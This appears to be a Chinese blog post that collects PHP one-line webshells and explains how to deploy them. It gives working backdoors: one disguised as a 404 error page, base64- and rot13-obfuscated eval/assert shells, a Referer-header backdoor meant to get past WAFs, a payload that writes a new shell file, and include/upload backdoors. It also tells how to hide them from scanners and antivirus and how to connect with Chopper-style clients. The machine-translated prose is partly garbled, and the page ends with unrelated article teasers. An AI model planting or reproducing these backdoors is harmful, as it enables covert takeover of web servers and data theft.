因为PHP一句话木马可以说有很多,简易的、中等水平的、繁杂的.......,今日主要是共享一些较为强大的一些PHP一句话木马全集;
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
运用方式:
404错误页是网址常见的文档,一般提议好后非常少许多人想去对它开展查验改动,这时候我们可以运用这一点开展掩藏侧门。
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
运用方式:
将$_POST['code']的內容取值给$_SESSION['theCode'],随后实行$_SESSION['theCode'],闪光点是沒有特征码。用漏洞扫描工具来查验编码得话,是不容易警报的,做到目地了。
<?php $_GET[a]($_GET[b]);?>
仅用GET涵数就组成了木马病毒;
运用方式:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
实行后当前目录转化成c.php一句话木马,当传参a为eval时候出错木马病毒转化成不成功,为assert时一样出错,但会转化成木马病毒,真可以说不能小看,很简单的一句话,被拓宽到如此运用。
此方式用2个文档完成,文档1:
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", " ", implode(array_slice($a, 6)))));
}
文档2:
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要实行的编码
$code = <<<CODE
phpinfo();
CODE;
//开展base64编号
$code = base64_encode($code);
//结构referer字符串数组
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//侧门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
运用方式:
根据HTTP恳求中的HTTP_REFERER来运作历经base64编号的编码,来做到侧门的实际效果,一般waf对referer这种检验要松一点,或是沒有检验。用这一构思bypass waf非常好。
weevely是一款对于PHP的webshell的自由软件,可用以仿真模拟一个类似telnet的联接shell,weevely一般 用以web程序流程的漏洞检测,掩藏侧门或是应用相近telnet的 *** 来替代web 网页页面式的管理 *** ,weevely转化成的服务端php代码是历经了base64编号的,因此能够骗得流行的电脑杀毒软件和IDS,提交服务端编码后一般 能够根据weevely立即运作。
weevely所转化成的PHP侧门所应用的方式是如今较为流行的base64数据加密融合字符串数组形变技术性,侧门中所应用的涵数均是常见的字符串数组处理函数,被做为查验标准的eval,system等涵数都不容易立即出現在编码中,进而能够导致侧门文档绕开侧门搜索专用工具的查验。应用暗组的Web侧门杀毒专用工具开展扫描仪,数据显示该文件无一切威协。
之一个:
<?php ([email protected]
$_GET[2])[email protected]$_($_POST[1])?>
在水果刀里写 http://site/1.php?2=assert 登陆密码是1;
第二个:
<?php
$_="";
$_[ ""]='';
$_="$_"."";
$_=($_[ ""]|"").($_[ ""]|"").($_[ ""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在水果刀里写 http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。假如你用水果刀的额外数据信息得话更隐敝,或是用其他注入专用工具还可以,由于是post递交的。
第三个:
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编号后的eval,彻底绕开了关键词,又无失实际效果,令人呕血!
之一个:水果刀一句话
<?php
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
第二个:风险的include涵数,立即编译程序一切文档为php格式运作
<?php
$filename=$_GET['xbid'];
include ($filename);
第三个:重新命名一切文档
<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
第四个:水果刀一句话
<?php
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
第五个:风险的include涵数,立即编译程序一切文档为php格式运作,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif;gif插一句话;
<?php
include ($uid);
第六个:八个典型性的PHP一句话木马(程序流程侧门编码)
1、
<?php eval_r($_POST[ *** ])?>
2、
<?php @eval_r($_POST[ *** ])?>
//容错机制编码
3、
<?php assert($_POST[ *** ]);?>
//应用lanker一句话手机客户端的权威专家方式实行有关的php句子
4、
<?$_POST['sa']($_POST[' *** ']);?>
5、
<?$_POST['sa']($_POST[' *** '],$_POST['sc'])?>
6、
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//应用这一后,应用水果刀一句话手机客户端在配备联接的情况下在"配备"一栏键入
7、
<O>[email protected]_r($_POST1);</O>
8、
<script language="php">@eval_r($_POST[ *** ])</script>
//绕开<?限定的一句话
什么叫Nagios? Nagios是一个互联网和监视系统程序运行。它监控您特定的服务项目和服务器,当事儿受到影响或事儿越来越更强时友情提示。Nagios的很多作用包含:监控器全部IT系统架构,马上了...
作者: GENXOR [转载请注明出处自 : 360网站卫士博客-blog.wangzhan.360.cn] 0x00 背景...
1、获取口令 这又有三种方法:一是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;...
什么叫Ngrep? 这一专用工具 - ngrep - (它是“互联网Grep”的联接)是一个在cmd中工作中的互联网数据文件解析器,它取决于pcap库和GNU regex库。ngrep与tcpdum...
什么叫GFI LanGuard? GFI Languard是一个系统漏洞和网络信息安全扫描仪程序流程,可简略剖析您的网络状态。这儿包含做为安全隐患的默认设置配备或程序运行。此专用工具还能够为您出示程...
ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache...